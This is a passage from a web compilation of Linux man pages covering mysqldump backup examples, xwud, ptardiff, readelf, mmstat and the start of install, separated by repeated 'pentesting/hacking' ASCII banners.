You can also set the following variables by using **–var_name=**value syntax:

·

max_allowed_packet

The maximum size of the buffer for client/server communication. The maximum is 1GB.

·

max_statement_time

A query that has taken more than max_statement_time seconds will be aborted and the backup will fail. The argument will be treated as a decimal value with microsecond precision. A value of 0 (default) means no timeout. The maximum timeout is 31536000 seconds.

·

net_buffer_length

The initial size of the buffer for client/server communication. When creating multiple-row INSERT statements (as with the –extended-insert or –opt option), mysqldump creates rows up to net_buffer_length length. If you increase this variable, you should also ensure that the net_buffer_length variable in the MariaDB server is at least this large.

A common use of mysqldump is for making a backup of an entire database:

shell> mysqldump db_name > backup-file.sql

You can load the dump file back into the server like this:

shell> mysql db_name < backup-file.sql

Or like this:

shell> mysql -e “source /path-to-backup/backup-file.sql” db_name

mysqldump is also very useful for populating databases by copying data from one MariaDB server to another:

shell> mysqldump –opt db_name | mysql –host=remote_host -C db_name

It is possible to dump several databases with one command:

shell> mysqldump –databases db_name1 [db_name2 …] > my_databases.sql

To dump all databases, use the –all-databases option:

shell> mysqldump –all-databases > all_databases.sql

For InnoDB tables, mysqldump provides a way of making an online backup:

shell> mysqldump –all-databases –single-transaction > all_databases.sql

This backup acquires a global read lock on all tables (using FLUSH TABLES WITH READ LOCK) at the beginning of the dump. As soon as this lock has been acquired, the binary log coordinates are read and the lock is released. If long updating statements are running when the FLUSH statement is issued, the MariaDB server may get stalled until those statements finish. After that, the dump becomes lock free and does not disturb reads and writes on the tables. If the update statements that the MariaDB server receives are short (in terms of execution time), the initial lock period should not be noticeable, even with many updates.

For point-in-time recovery (also known as “roll-forward,” when you need to restore an old backup and replay the changes that happened since that backup), it is often useful to rotate the binary log or at least know the binary log coordinates to which the dump corresponds:

shell> mysqldump –all-databases –master-data=2 > all_databases.sql

Or:

shell> mysqldump –all-databases –flush-logs –master-data=2 > all_databases.sql

The –master-data and –single-transaction options can be used simultaneously, which provides a convenient way to make an online backup suitable for use prior to point-in-time recovery if tables are stored using the InnoDB storage engine.

If you encounter problems backing up views, please read the section that covers restrictions on views which describes a workaround for backing up views when this fails due to insufficient privileges.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2078 - Linux cli command xwud

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xwud and provides detailed information about the command xwud, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xwud.

NAME 🖥️ xwud 🖥️

image displayer for X

SYNOPSIS

xwud [-in file] [-noclick] [-geometry geom] [-display display] [-new] [-std <maptype>] [-raw] [-vis <vis-type-or-id>] [-scale] [-help] [-rv] [-plane number] [-fg color] [-bg color] [-dumpheader] [-version]

DESCRIPTION

Xwud is an X Window System image undumping utility. Xwud allows X users to display in a window an image saved in a specially formatted dump file, such as produced by xwd(1).

OPTIONS

-bg color
If a bitmap image (or a single plane of an image) is displayed, this option can be used to specify the color to display for the “0” bits in the image.

-display display
This option allows you to specify the server to connect to; see X(7).

-dumpheader
This option prints out the XWD header information only. Nothing is displayed.

-fg color
If a bitmap image (or a single plane of an image) is displayed, this option can be used to specify the color to display for the “1” bits in the image.

-geometry geom
This option allows you to specify the size and position of the window. Typically you will only want to specify the position, and let the size default to the actual size of the image.

-help
Print out a short description of the allowable options.

-in file
This option allows the user to explicitly specify the input file on the command line. If no input file is given, the standard input is assumed.

-new
This option forces creation of a new colormap for displaying the image. If the image characteristics happen to match those of the display, this can get the image on the screen faster, but at the cost of using a new colormap (which on most displays will cause other windows to go technicolor).

-noclick
Clicking any button in the window will terminate the application, unless this option is specified. Termination can always be achieved by typing ‘q’, ‘Q’, or ctrl-c.

-plane number
You can select a single bit plane of the image to display with this option. Planes are numbered with zero being the least significant bit.

-raw
This option forces the image to be displayed with whatever color values happen to currently exist on the screen. This option is mostly useful when undumping an image back onto the same screen that the image originally came from, while the original windows are still on the screen, and results in getting the image on the screen faster.

-rv
If a bitmap image (or a single plane of an image) is displayed, this option forces the foreground and background colors to be swapped. This may be needed when displaying a bitmap image which has the color sense of pixel values “0” and “1” reversed from what they are on your display.

-scale
Allow the window to be resized, and scale the image to the size of the window.

-std maptype
This option causes the image to be displayed using the specified Standard Colormap. The property name is obtained by converting the type to upper case, prepending “RGB_”, and appending “_MAP”. Typical types are “best”, “default”, and “gray”. See xstdcmap(1) for one way of creating Standard Colormaps.

-version
This option causes xwd to print its version information and exit.

-vis vis-type-or-id
This option allows you to specify a particular visual or visual class. The default is to pick the “best” one. A particular class can be specified: “StaticGray”, “GrayScale”, “StaticColor”, “PseudoColor”, “DirectColor”, or “TrueColor”. Or “Match” can be specified, meaning use the same class as the source image. Alternatively, an exact visual id (specific to the server) can be specified, either as a hexadecimal number (prefixed with “0x”) or as a decimal number. Finally, “default” can be specified, meaning to use the same class as the colormap of the root window. Case is not significant in any of these strings.

ENVIRONMENT

DISPLAY
To get default display.

FILES

XWDFile.h
X Window Dump File format definition file.

BUGS

xwud doesn’t handle big/deep images very well on servers that don’t have the BIG-REQUESTS extension.

SEE ALSO

xwd(1), xstdcmap(1), X(7)

AUTHOR

Bob Scheifler, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2079 - Linux cli command ptardiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ptardiff and provides detailed information about the command ptardiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ptardiff.

NAME 🖥️ ptardiff 🖥️

program that diffs an extracted archive against an unextracted one

DESCRIPTION

ptardiff is a small program that diffs an extracted archive against an unextracted one, using the perl module Archive::Tar. This effectively lets you view changes made to an archives contents. Provide the progam with an ARCHIVE_FILE and it will look up all the files with in the archive, scan the current working directory for a file with the name and diff it against the contents of the archive.

SYNOPSIS

ptardiff ARCHIVE_FILE ptardiff -h $ tar -xzf Acme-Buffy-1.3.tar.gz $ vi Acme-Buffy-1.3/README […] $ ptardiff Acme-Buffy-1.3.tar.gz > README.patch

OPTIONS

h Prints this help message

SEE ALSO

tar (1), Archive::Tar.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2080 - Linux cli command i686-w64-mingw32-readelf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-readelf and provides detailed information about the command i686-w64-mingw32-readelf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-readelf.

NAME 🖥️ i686-w64-mingw32-readelf 🖥️

display information about ELF files

SYNOPSIS

readelf [-a|–all] [-h|–file-header] [-l|–program-headers|–segments] [-S|–section-headers|–sections] [-g|–section-groups] [-t|–section-details] [-e|–headers] [-s|–syms|–symbols] [–dyn-syms|–lto-syms] [–sym-base=[0|8|10|16]] [–demangle*=style*|–no-demangle] [–quiet] [–recurse-limit|–no-recurse-limit] [-U method|–unicode=method] [-X|–extra-sym-info|–no-extra-sym-info] [-n|–notes] [-r|–relocs] [-u|–unwind] [-d|–dynamic] [-V|–version-info] [-A|–arch-specific] [-D|–use-dynamic] [-L|–lint|–enable-checks] [-x <number or name>|–hex-dump=<number or name>] [-p <number or name>|–string-dump=<number or name>] [-R <number or name>|–relocated-dump=<number or name>] [-j <number or name>|–display-section=<number or name>] [-z|–decompress] [-c|–archive-index] [-w[lLiaprmfFsoORtUuTgAck]| –debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links]] [-wK|–debug-dump=follow-links] [-wN|–debug-dump=no-follow-links] [-wD|–debug-dump=use-debuginfod] [-wE|–debug-dump=do-not-use-debuginfod] [-P|–process-links] [–dwarf-depth=n] [–dwarf-start=n] [–ctf=section] [–ctf-parent=section] [–ctf-symbols=section] [–ctf-strings=section] [–sframe=section] [-I|–histogram] [-v|–version] [-W|–wide] [-T|–silent-truncation] [-H|–help] elffile

DESCRIPTION

readelf displays information about one or more ELF format object files. The options control what particular information to display.

elffile… are the object files to be examined. 32-bit and 64-bit ELF files are supported, as are archives containing ELF files.

This program performs a similar function to objdump but it goes into more detail and it exists independently of the BFD library, so if there is a bug in BFD then readelf will not be affected.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one option besides -v or -H must be given.

-a

–all

Equivalent to specifying –file-header, –program-headers, –sections, –symbols, –relocs, –dynamic, –notes, –version-info, –arch-specific, –unwind, –section-groups and –histogram. Note - this option does not enable –use-dynamic itself, so if that option is not present on the command line then dynamic symbols and dynamic relocs will not be displayed.

-h

–file-header

Displays the information contained in the ELF header at the start of the file.

-l

–program-headers

–segments

Displays the information contained in the file’s segment headers, if it has any.

–quiet
Suppress “no symbols” diagnostic.

-S

–sections

–section-headers

Displays the information contained in the file’s section headers, if it has any.

-g

–section-groups

Displays the information contained in the file’s section groups, if it has any.

-t

–section-details

Displays the detailed section information. Implies -S.

-s

–symbols

–syms

Displays the entries in symbol table section of the file, if it has one. If a symbol has version information associated with it then this is displayed as well. The version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2.

–dyn-syms
Displays the entries in dynamic symbol table section of the file, if it has one. The output format is the same as the format used by the –syms option.

–lto-syms
Displays the contents of any LTO symbol tables in the file.

–sym-base=[0|8|10|16]
Forces the size field of the symbol table to use the given base. Any unrecognized options will be treated as 0. –sym-base=0 represents the default and legacy behaviour. This will output sizes as decimal for numbers less than 100000. For sizes 100000 and greater hexadecimal notation will be used with a 0x prefix. –sym-base=8 will give the symbol sizes in octal. –sym-base=10 will always give the symbol sizes in decimal. –sym-base=16 will always give the symbol sizes in hexadecimal with a 0x prefix.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. This makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–no-demangle
Do not demangle low-level symbol names. This is the default.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of non-ASCII characters in identifier names. The default (–unicode=locale or –unicode=default) is to treat them as multibyte characters and display them in the current locale. All other versions of this option treat the bytes as UTF-8 encoded values and attempt to interpret them. If they cannot be interpreted or if the –unicode=invalid option is used then they are displayed as a sequence of hex bytes, encloses in curly parethesis characters. Using the –unicode=escape option will display the characters as as unicode escape sequences (\uxxxx). Using the –unicode=hex will display the characters as hex byte sequences enclosed between angle brackets. Using the –unicode=highlight will display the characters as unicode escape sequences but it will also highlighted them in red, assuming that colouring is supported by the output device. The colouring is intended to draw attention to the presence of unicode sequences when they might not be expected.

-X

–extra-sym-info

When displaying details of symbols, include extra information not normally presented. Currently this just adds the name of the section referenced by the symbol’s index field, if there is one. In the future more information may be displayed when this option is enabled. Enabling this option effectively enables the –wide option as well, at least when displaying symbol information.

–no-extra-sym-info
Disables the effect of the –extra-sym-info option. This is the default.

-e

–headers

Display all the headers in the file. Equivalent to -h -l -S.

-n

–notes

Displays the contents of the NOTE segments and/or sections, if any.

-r

–relocs

Displays the contents of the file’s relocation section, if it has one.

-u

–unwind

Displays the contents of the file’s unwind section, if it has one. Only the unwind sections for IA64 ELF files, as well as ARM unwind tables (.ARM.exidx / .ARM.extab) are currently supported. If support is not yet implemented for your architecture you could try dumping the contents of the .eh_frames section using the –debug-dump=frames or –debug-dump=frames-interp options.

-d

–dynamic

Displays the contents of the file’s dynamic section, if it has one.

-V

–version-info

Displays the contents of the version sections in the file, it they exist.

-A

–arch-specific

Displays architecture-specific information in the file, if there is any.

-D

–use-dynamic

When displaying symbols, this option makes readelf use the symbol hash tables in the file’s dynamic section, rather than the symbol table sections. When displaying relocations, this option makes readelf display the dynamic relocations rather than the static relocations.

-L

–lint

–enable-checks

Displays warning messages about possible problems with the file(s) being examined. If used on its own then all of the contents of the file(s) will be examined. If used with one of the dumping options then the warning messages will only be produced for the things being displayed.

-x <number or name>

–hex-dump=<number or name>

Displays the contents of the indicated section as a hexadecimal bytes. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. This option can be repeated multiple times on the command line in order to request multiple hex dumps.

-R <number or name>

–relocated-dump=<number or name>

Displays the contents of the indicated section as a hexadecimal bytes. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. The contents of the section will be relocated before they are displayed. This option can be repeated multiple times on the command line in order to request multiple relocated dumps.

-p <number or name>

–string-dump=<number or name>

Displays the contents of the indicated section as printable strings. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. This option can be repeated multiple times on the command line in order to request multiple string dumps.

-j <number or name>

–display-section

Displays the contents of the indicated section according to its section header type. Sections containing relocations will be displayed as if the –relocations option had been used, sections contains symbols will be displayed as if the –syms option had been used and so on. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the input file(s). This option can be repeated multiple times on the command line in order to request multiple section dumps.

-z

–decompress

Requests that the section(s) being dumped by x, R or p options are decompressed before being displayed. If the section(s) are not compressed then they are displayed as is.

-c

–archive-index

Displays the file symbol index information contained in the header part of binary archives. Performs the same function as the t command to ar, but without using the BFD library.

-w[lLiaprmfFsOoRtUuTgAckK]

–debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]

Displays the contents of the DWARF debug sections in the file, if any are present. Compressed debug sections are automatically decompressed (temporarily) before they are displayed. If one or more of the optional letters or words follows the switch then only those type(s) of data will be dumped. The letters and words refer to the following information:

“a”

“=abbrev”

Displays the contents of the .debug_abbrev section.

“A”

“=addr”

Displays the contents of the .debug_addr section.

“c”

“=cu_index”

Displays the contents of the .debug_cu_index and/or .debug_tu_index sections.

“f”

“=frames”

Display the raw contents of a .debug_frame section.

“F”

“=frames-interp”

Display the interpreted contents of a .debug_frame section.

“g”

“=gdb_index”

Displays the contents of the .gdb_index and/or .debug_names sections.

“i”

“=info”

Displays the contents of the .debug_info section. Note: the output from this option can also be restricted by the use of the –dwarf-depth and –dwarf-start options.

“k”

“=links”

Displays the contents of the .gnu_debuglink, .gnu_debugaltlink and .debug_sup sections, if any of them are present. Also displays any links to separate dwarf object files (dwo), if they are specified by the DW_AT_GNU_dwo_name or DW_AT_dwo_name attributes in the .debug_info section.

“K”

“=follow-links”

Display the contents of any selected debug sections that are found in linked, separate debug info file(s). This can result in multiple versions of the same debug section being displayed if it exists in more than one file. In addition, when displaying DWARF attributes, if a form is found that references the separate debug info file, then the referenced contents will also be displayed. Note - in some distributions this option is enabled by default. It can be disabled via the N debug option. The default can be chosen when configuring the binutils via the –enable-follow-debug-links=yes or –enable-follow-debug-links=no options. If these are not used then the default is to enable the following of debug links. Note - if support for the debuginfod protocol was enabled when the binutils were built then this option will also include an attempt to contact any debuginfod servers mentioned in the DEBUGINFOD_URLS environment variable. This could take some time to resolve. This behaviour can be disabled via the =do-not-use-debuginfod debug option.

“N”

“=no-follow-links”

Disables the following of links to separate debug info files.

“D”

“=use-debuginfod”

Enables contacting debuginfod servers if there is a need to follow debug links. This is the default behaviour.

“E”

“=do-not-use-debuginfod”

Disables contacting debuginfod servers when there is a need to follow debug links.

“l”

“=rawline”

Displays the contents of the .debug_line section in a raw format.

“L”

“=decodedline”

Displays the interpreted contents of the .debug_line section.

“m”

“=macro”

Displays the contents of the .debug_macro and/or .debug_macinfo sections.

“o”

“=loc”

Displays the contents of the .debug_loc and/or .debug_loclists sections.

“O”

“=str-offsets”

Displays the contents of the .debug_str_offsets section.

“p”

“=pubnames”

Displays the contents of the .debug_pubnames and/or .debug_gnu_pubnames sections.

“r”

“=aranges”

Displays the contents of the .debug_aranges section.

“R”

“=Ranges”

Displays the contents of the .debug_ranges and/or .debug_rnglists sections.

“s”

“=str”

Displays the contents of the .debug_str, .debug_line_str and/or .debug_str_offsets sections.

“t”

“=pubtype”

Displays the contents of the .debug_pubtypes and/or .debug_gnu_pubtypes sections.

“T”

“=trace_aranges”

Displays the contents of the .trace_aranges section.

“u”

“=trace_abbrev”

Displays the contents of the .trace_abbrev section.

“U”

“=trace_info”

Displays the contents of the .trace_info section.

Note: displaying the contents of .debug_static_funcs, .debug_static_vars and debug_weaknames sections is not currently supported.

–dwarf-depth=n
Limit the dump of the .debug_info section to n children. This is only useful with –debug-dump=info. The default is to print all DIEs; the special value 0 for n will also have this effect. With a non-zero value for n, DIEs at or deeper than n levels will not be printed. The range for n is zero-based.

–dwarf-start=n
Print only DIEs beginning with the DIE numbered n. This is only useful with –debug-dump=info. If specified, this option will suppress printing of any header information and all DIEs before the DIE numbered n. Only siblings and children of the specified DIE will be printed. This can be used in conjunction with –dwarf-depth.

-P

–process-links

Display the contents of non-debug sections found in separate debuginfo files that are linked to the main file. This option automatically implies the -wK option, and only sections requested by other command line options will be displayed.

–ctf[=section]
Display the contents of the specified CTF section. CTF sections themselves contain many subsections, all of which are displayed in order. By default, display the name of the section named .ctf, which is the name emitted by ld.

–ctf-parent=member
If the CTF section contains ambiguously-defined types, it will consist of an archive of many CTF dictionaries, all inheriting from one dictionary containing unambiguous types. This member is by default named .ctf, like the section containing it, but it is possible to change this name using the ctf_link_set_memb_name_changer function at link time. When looking at CTF archives that have been created by a linker that uses the name changer to rename the parent archive member, –ctf-parent can be used to specify the name used for the parent.

–ctf-parent-section=section
This option lets you pick a completely different section for the CTF parent dictionary containing unambiguous types than for the child dictionaries that contain the ambiguous remainder. The linker does not emit ELF objects structured like this, but some third-party linkers may. It’s also convenient to inspect CTF written out as multiple raw files to compose them with objcopy, which can put them in different ELF sections but not in different members of a single CTF dict.

–ctf-symbols=section

–ctf-strings=section

Specify the name of another section from which the CTF file can inherit strings and symbols. By default, the .symtab and its linked string table are used. If either of –ctf-symbols or –ctf-strings is specified, the other must be specified as well.

-I

–histogram

Display a histogram of bucket list lengths when displaying the contents of the symbol tables.

-v

–version

Display the version number of readelf.

-W

–wide

Don’t break output lines to fit into 80 columns. By default readelf breaks section header and segment listing lines for 64-bit ELF files, so that they fit into 80 columns. This option causes readelf to print each section header resp. each segment one a single line, which is far more readable on terminals wider than 80 columns.

-T

–silent-truncation

Normally when readelf is displaying a symbol name, and it has to truncate the name to fit into an 80 column display, it will add a suffix of [...] to the name. This command line option disables this behaviour, allowing 5 more characters of the name to be displayed and restoring the old behaviour of readelf (prior to release 2.35).

-H

–help

Display the command-line options understood by readelf.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

objdump (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2081 - Linux cli command mmstat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mmstat and provides detailed information about the command mmstat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mmstat.

NAME 🖥️ mmstat 🖥️

Display details about the volume system (partition tables)

SYNOPSIS

mmstat [-t mmtype ] [-o offset ] [ -i imgtype ] [-b dev_sector_size] [-vV] image [images]

DESCRIPTION

mmstat displays the general details of a volume system, which includes partition tables and disk labels. Mainly, the type is given.

ARGUMENTS

-t mmtype
Specify the media management type. Use ‘-t list’ to list the supported types. If not given, autodetection methods are used.

-o offset
Specify the offset into the image where the volume containing the partition system starts. The relative offset of the partition system will be added to this value.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-i imgtype
Identify the type of image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-v
Verbose output of debugging statements to stderr

-V
Display version

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2082 - Linux cli command hyperxmp-add-bytecount

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hyperxmp-add-bytecount and provides detailed information about the command hyperxmp-add-bytecount, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hyperxmp-add-bytecount.

NAME 🖥️ hyperxmp-add-bytecount 🖥️

add-bytecount - adds/updates byteCount specification in XMP packet in PDF file.

SYNOPSIS

hyperxmp-add-bytecount [options] filename.pdf

DESCRIPTION

hyperxmp-add-bytecount adds/updates the byteCount specification in the XMP packet in a PDF file(s), with byteCount = file size. The XMP packet needs to be of, or compatible with, the format produced from a document that uses theLaTeXhyperxmp package.

If no XMP packet of a compatible form is found in the PDF file, no change is made to the file.

OPTIONS

-help
Write usage summary and exit.

-version
Output version information and exit.

BUGS

Email bug reports to John Collins and/or Scott Pakin.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2083 - Linux cli command install

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command install and provides detailed information about the command install, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the install.

NAME 🖥️ install 🖥️

copy files and set attributes

SYNOPSIS

install [OPTION]… [-T] SOURCE DEST
install [OPTION]… SOURCEDIRECTORY
install [OPTION]… -t DIRECTORY SOURCE
install [OPTION]… -d DIRECTORY

DESCRIPTION

This install program copies files (often just compiled) into destination locations you choose. If you want to download and install a ready-to-use package on a GNU/Linux system, you should instead be using a package manager like yum(1) or apt-get(1).

In the first three forms, copy SOURCE to DEST or multiple SOURCE(s) to the existing DIRECTORY, while setting permission modes and owner/group. In the 4th form, create all components of the given DIRECTORY(ies).

